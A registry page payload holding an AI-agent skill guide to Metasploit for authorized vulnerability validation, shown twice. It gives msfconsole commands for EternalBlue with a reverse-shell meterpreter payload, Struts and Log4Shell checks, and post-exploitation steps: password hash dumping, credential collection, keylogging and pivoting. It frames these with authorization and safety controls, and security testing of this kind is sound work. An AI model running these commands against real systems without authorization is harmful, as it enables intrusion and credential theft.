[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73BFHH8FS0EQJ5BNM6275EC":3,"skill-same:01M73BFHH8FS0EQJ5BNM6275EC":104},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":49,"repositoryHtmlUrl":50,"repositoryHomepageUrl":51,"ownerHtmlUrl":52,"ownerBlogUrl":53,"ownerDescription":54,"updatedAt":55,"install":56,"resources":69},"01M73BFHH8FS0EQJ5BNM6275EC","exploiting-vulnerabilities-with-metasploit-framework",null,"The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: exploiting-vulnerabilities-with-metasploit-framework\ndescription: The Metasploit Framework is the world's most widely used penetration\n  testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary\n  modules, and 400 post-exploitation modules\ndomain: cybersecurity\nsubdomain: vulnerability-management\ntags:\n- vulnerability-management\n- cve\n- metasploit\n- exploitation\n- penetration-testing\n- risk\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-02\n- ID.IM-02\n- ID.RA-06\nmitre_attack:\n- T1190\n- T1203\n- T1068\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\n---\n# Exploiting Vulnerabilities with Metasploit Framework\n\n## Overview\nThe Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n- Metasploit Framework installed (Kali Linux or standalone)\n- PostgreSQL database for session\u002Fcredential management\n- Written authorization and rules of engagement for testing\n- Isolated test environment or approved production testing window\n- Understanding of networking, protocols, and exploitation concepts\n\n## Core Concepts\n\n### Metasploit Architecture\n- **msfconsole**: Primary interactive command-line interface\n- **Exploits**: Modules that leverage vulnerabilities to gain access\n- **Payloads**: Code executed on the target after successful exploitation\n- **Auxiliary**: Scanning, fuzzing, and information gathering modules\n- **Post-Exploitation**: Modules for privilege escalation, persistence, pivoting\n- **Encoders**: Payload encoding to evade signature-based detection\n- **Nops**: No-operation generators for payload alignment\n\n### Exploitation Workflow in Vulnerability Management\nUnlike offensive red teaming, vulnerability management uses Metasploit to:\n1. **Validate** scanner findings (confirm exploitability)\n2. **Demonstrate** risk to business stakeholders\n3. **Prioritize** remediation based on proven exploitation paths\n4. **Verify** patches by confirming exploits no longer succeed\n\n## Workflow\n\n### Step 1: Initialize Metasploit Environment\n```bash\n# Start PostgreSQL and initialize database\nsudo systemctl start postgresql\nsudo msfdb init\n\n# Launch msfconsole\nmsfconsole -q\n\n# Verify database connection\nmsf6> db_status\nmsf6> workspace -a vuln_validation_2025\n\n# Import vulnerability scan results\nmsf6> db_import \u002Fpath\u002Fto\u002Fnessus_scan.nessus\nmsf6> hosts\nmsf6> vulns\n```\n\n### Step 2: Validate Specific Vulnerabilities\n```bash\n# Example: Validate MS17-010 (EternalBlue) from scan findings\nmsf6> search type:exploit name:ms17_010\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> show options\nmsf6> set RHOSTS 192.168.1.100\nmsf6> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6> set LHOST 192.168.1.50\nmsf6> set LPORT 4444\n\n# Use check command first (non-exploitative validation)\nmsf6> check\n# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!\n\n# Only exploit if check confirms vulnerability and authorized\nmsf6> exploit\n\n# Example: Validate Apache Struts RCE (CVE-2017-5638)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl\nmsf6> set RHOSTS target.example.com\nmsf6> set RPORT 8080\nmsf6> set TARGETURI \u002Fshowcase.action\nmsf6> check\n\n# Example: Validate Log4Shell (CVE-2021-44228)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection\nmsf6> set RHOSTS target.example.com\nmsf6> set HTTP_HEADER X-Api-Version\nmsf6> check\n```\n\n### Step 3: Auxiliary Scanning for Validation\n```bash\n# SMB vulnerability scanning\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6> set RHOSTS 192.168.1.0\u002F24\nmsf6> set THREADS 10\nmsf6> run\n\n# SSL\u002FTLS vulnerability checks\nmsf6> use auxiliary\u002Fscanner\u002Fssl\u002Fopenssl_heartbleed\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# HTTP vulnerability validation\nmsf6> use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_listing\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# Database authentication testing\nmsf6> use auxiliary\u002Fscanner\u002Fmssql\u002Fmssql_login\nmsf6> set RHOSTS db-server.corp.local\nmsf6> set USERNAME sa\nmsf6> set PASSWORD \"\"\nmsf6> run\n```\n\n### Step 4: Post-Exploitation Impact Assessment\n```bash\n# After successful exploitation, demonstrate impact\nmeterpreter> getuid\nmeterpreter> sysinfo\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Fgather\u002Fenv\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fenum_patches\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Network pivoting demonstration\nmeterpreter> run post\u002Fmulti\u002Fmanage\u002Fautoroute\nmeterpreter> run auxiliary\u002Fserver\u002Fsocks_proxy\n\n# Screenshot for evidence\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n### Step 5: Document and Report Findings\n```bash\n# Export exploitation evidence\nmsf6> vulns -o \u002Ftmp\u002Fvalidated_vulns.csv\nmsf6> hosts -o \u002Ftmp\u002Fcompromised_hosts.csv\nmsf6> creds -o \u002Ftmp\u002Fcaptured_creds.csv\nmsf6> loot -o \u002Ftmp\u002Fcaptured_loot.csv\n\n# Generate report from database\nmsf6> db_export -f xml \u002Ftmp\u002Fmsf_report.xml\n```\n\n### Step 6: Post-Patch Verification\n```bash\n# After remediation, verify exploit no longer works\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> set RHOSTS 192.168.1.100\nmsf6> check\n# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.\n# Patch verified successfully\n```\n\n## Safety Controls\n1. **Always use `check` command** before `exploit` when available\n2. **Set AutoRunScript** for clean session management\n3. **Use EXITFUNC=thread** to prevent crashing target services\n4. **Limit payload capabilities** to minimum needed for validation\n5. **Document every action** for audit trail and evidence\n6. **Use workspace isolation** per engagement\n7. **Never run Metasploit against unauthorized targets**\n\n## Best Practices\n1. Start with vulnerability check modules before exploitation\n2. Use Metasploit to validate top-priority scanner findings only\n3. Coordinate with system owners for testing windows\n4. Maintain detailed logs of all exploitation attempts\n5. Clean up all artifacts and sessions after testing\n6. Use results to create compelling risk narratives for stakeholders\n7. Integrate Metasploit validation into vulnerability management workflow\n\n## Common Pitfalls\n- Exploiting without written authorization (legal liability)\n- Using exploitation on production systems without coordination\n- Not cleaning up Meterpreter sessions and artifacts\n- Confusing vulnerability validation with penetration testing scope\n- Using outdated Metasploit modules against patched systems\n- Failing to document exploitation evidence for remediation teams\n\n## Related Skills\n- performing-red-team-validated-vulnerability-testing\n- scanning-infrastructure-with-nessus\n- performing-network-vulnerability-assessment\n","# Exploiting Vulnerabilities with Metasploit Framework\n\n## Overview\nThe Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n- Metasploit Framework installed (Kali Linux or standalone)\n- PostgreSQL database for session\u002Fcredential management\n- Written authorization and rules of engagement for testing\n- Isolated test environment or approved production testing window\n- Understanding of networking, protocols, and exploitation concepts\n\n## Core Concepts\n\n### Metasploit Architecture\n- **msfconsole**: Primary interactive command-line interface\n- **Exploits**: Modules that leverage vulnerabilities to gain access\n- **Payloads**: Code executed on the target after successful exploitation\n- **Auxiliary**: Scanning, fuzzing, and information gathering modules\n- **Post-Exploitation**: Modules for privilege escalation, persistence, pivoting\n- **Encoders**: Payload encoding to evade signature-based detection\n- **Nops**: No-operation generators for payload alignment\n\n### Exploitation Workflow in Vulnerability Management\nUnlike offensive red teaming, vulnerability management uses Metasploit to:\n1. **Validate** scanner findings (confirm exploitability)\n2. **Demonstrate** risk to business stakeholders\n3. **Prioritize** remediation based on proven exploitation paths\n4. **Verify** patches by confirming exploits no longer succeed\n\n## Workflow\n\n### Step 1: Initialize Metasploit Environment\n```bash\n# Start PostgreSQL and initialize database\nsudo systemctl start postgresql\nsudo msfdb init\n\n# Launch msfconsole\nmsfconsole -q\n\n# Verify database connection\nmsf6> db_status\nmsf6> workspace -a vuln_validation_2025\n\n# Import vulnerability scan results\nmsf6> db_import \u002Fpath\u002Fto\u002Fnessus_scan.nessus\nmsf6> hosts\nmsf6> vulns\n```\n\n### Step 2: Validate Specific Vulnerabilities\n```bash\n# Example: Validate MS17-010 (EternalBlue) from scan findings\nmsf6> search type:exploit name:ms17_010\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> show options\nmsf6> set RHOSTS 192.168.1.100\nmsf6> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6> set LHOST 192.168.1.50\nmsf6> set LPORT 4444\n\n# Use check command first (non-exploitative validation)\nmsf6> check\n# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!\n\n# Only exploit if check confirms vulnerability and authorized\nmsf6> exploit\n\n# Example: Validate Apache Struts RCE (CVE-2017-5638)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl\nmsf6> set RHOSTS target.example.com\nmsf6> set RPORT 8080\nmsf6> set TARGETURI \u002Fshowcase.action\nmsf6> check\n\n# Example: Validate Log4Shell (CVE-2021-44228)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection\nmsf6> set RHOSTS target.example.com\nmsf6> set HTTP_HEADER X-Api-Version\nmsf6> check\n```\n\n### Step 3: Auxiliary Scanning for Validation\n```bash\n# SMB vulnerability scanning\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6> set RHOSTS 192.168.1.0\u002F24\nmsf6> set THREADS 10\nmsf6> run\n\n# SSL\u002FTLS vulnerability checks\nmsf6> use auxiliary\u002Fscanner\u002Fssl\u002Fopenssl_heartbleed\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# HTTP vulnerability validation\nmsf6> use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_listing\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# Database authentication testing\nmsf6> use auxiliary\u002Fscanner\u002Fmssql\u002Fmssql_login\nmsf6> set RHOSTS db-server.corp.local\nmsf6> set USERNAME sa\nmsf6> set PASSWORD \"\"\nmsf6> run\n```\n\n### Step 4: Post-Exploitation Impact Assessment\n```bash\n# After successful exploitation, demonstrate impact\nmeterpreter> getuid\nmeterpreter> sysinfo\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Fgather\u002Fenv\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fenum_patches\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Network pivoting demonstration\nmeterpreter> run post\u002Fmulti\u002Fmanage\u002Fautoroute\nmeterpreter> run auxiliary\u002Fserver\u002Fsocks_proxy\n\n# Screenshot for evidence\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n### Step 5: Document and Report Findings\n```bash\n# Export exploitation evidence\nmsf6> vulns -o \u002Ftmp\u002Fvalidated_vulns.csv\nmsf6> hosts -o \u002Ftmp\u002Fcompromised_hosts.csv\nmsf6> creds -o \u002Ftmp\u002Fcaptured_creds.csv\nmsf6> loot -o \u002Ftmp\u002Fcaptured_loot.csv\n\n# Generate report from database\nmsf6> db_export -f xml \u002Ftmp\u002Fmsf_report.xml\n```\n\n### Step 6: Post-Patch Verification\n```bash\n# After remediation, verify exploit no longer works\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> set RHOSTS 192.168.1.100\nmsf6> check\n# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.\n# Patch verified successfully\n```\n\n## Safety Controls\n1. **Always use `check` command** before `exploit` when available\n2. **Set AutoRunScript** for clean session management\n3. **Use EXITFUNC=thread** to prevent crashing target services\n4. **Limit payload capabilities** to minimum needed for validation\n5. **Document every action** for audit trail and evidence\n6. **Use workspace isolation** per engagement\n7. **Never run Metasploit against unauthorized targets**\n\n## Best Practices\n1. Start with vulnerability check modules before exploitation\n2. Use Metasploit to validate top-priority scanner findings only\n3. Coordinate with system owners for testing windows\n4. Maintain detailed logs of all exploitation attempts\n5. Clean up all artifacts and sessions after testing\n6. Use results to create compelling risk narratives for stakeholders\n7. Integrate Metasploit validation into vulnerability management workflow\n\n## Common Pitfalls\n- Exploiting without written authorization (legal liability)\n- Using exploitation on production systems without coordination\n- Not cleaning up Meterpreter sessions and artifacts\n- Confusing vulnerability validation with penetration testing scope\n- Using outdated Metasploit modules against patched systems\n- Failing to document exploitation evidence for remediation teams\n\n## Related Skills\n- performing-red-team-validated-vulnerability-testing\n- scanning-infrastructure-with-nessus\n- performing-network-vulnerability-assessment\n",{"name":5,"tags":25,"author":32,"domain":33,"source":34,"license":15,"version":35,"nist_csf":36,"subdomain":26,"description":7,"mitre_attack":41,"source_commit":45},[26,27,28,29,30,31],"vulnerability-management","cve","metasploit","exploitation","penetration-testing","risk","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[37,38,39,40],"ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06",[42,43,44],"T1190","T1203","T1068","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":57,"prompt":67,"zipAvailable":68},[58,61,64],{"tool":59,"command":60},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill exploiting-vulnerabilities-with-metasploit-framework",{"tool":62,"command":63},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill exploiting-vulnerabilities-with-metasploit-framework",{"tool":65,"command":66},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill exploiting-vulnerabilities-with-metasploit-framework","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002FSKILL.md",true,[70,76,80,86,90,94,100],{"path":71,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":75},"assets\u002Ftemplate.md","ASSET","资产文件",1065,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Fassets\u002Ftemplate.md",{"path":77,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":81,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"references\u002Fapi-reference.md","REFERENCE","参考文档",2263,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Freferences\u002Fapi-reference.md",{"path":87,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":88,"sourceHtmlUrl":89},"references\u002Fstandards.md",1563,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Freferences\u002Fstandards.md",{"path":91,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":92,"sourceHtmlUrl":93},"references\u002Fworkflows.md",2676,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Freferences\u002Fworkflows.md",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"scripts\u002Fagent.py","SCRIPT","脚本",5035,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Fscripts\u002Fagent.py",{"path":101,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":102,"sourceHtmlUrl":103},"scripts\u002Fprocess.py",12511,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Fscripts\u002Fprocess.py",[105,113,120,128,136,144],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":124,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":132,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":137,"name":138,"nameZh":6,"description":139,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":140,"sourceHtmlUrl":141,"categories":142,"keywords":143,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":145,"name":146,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":149,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]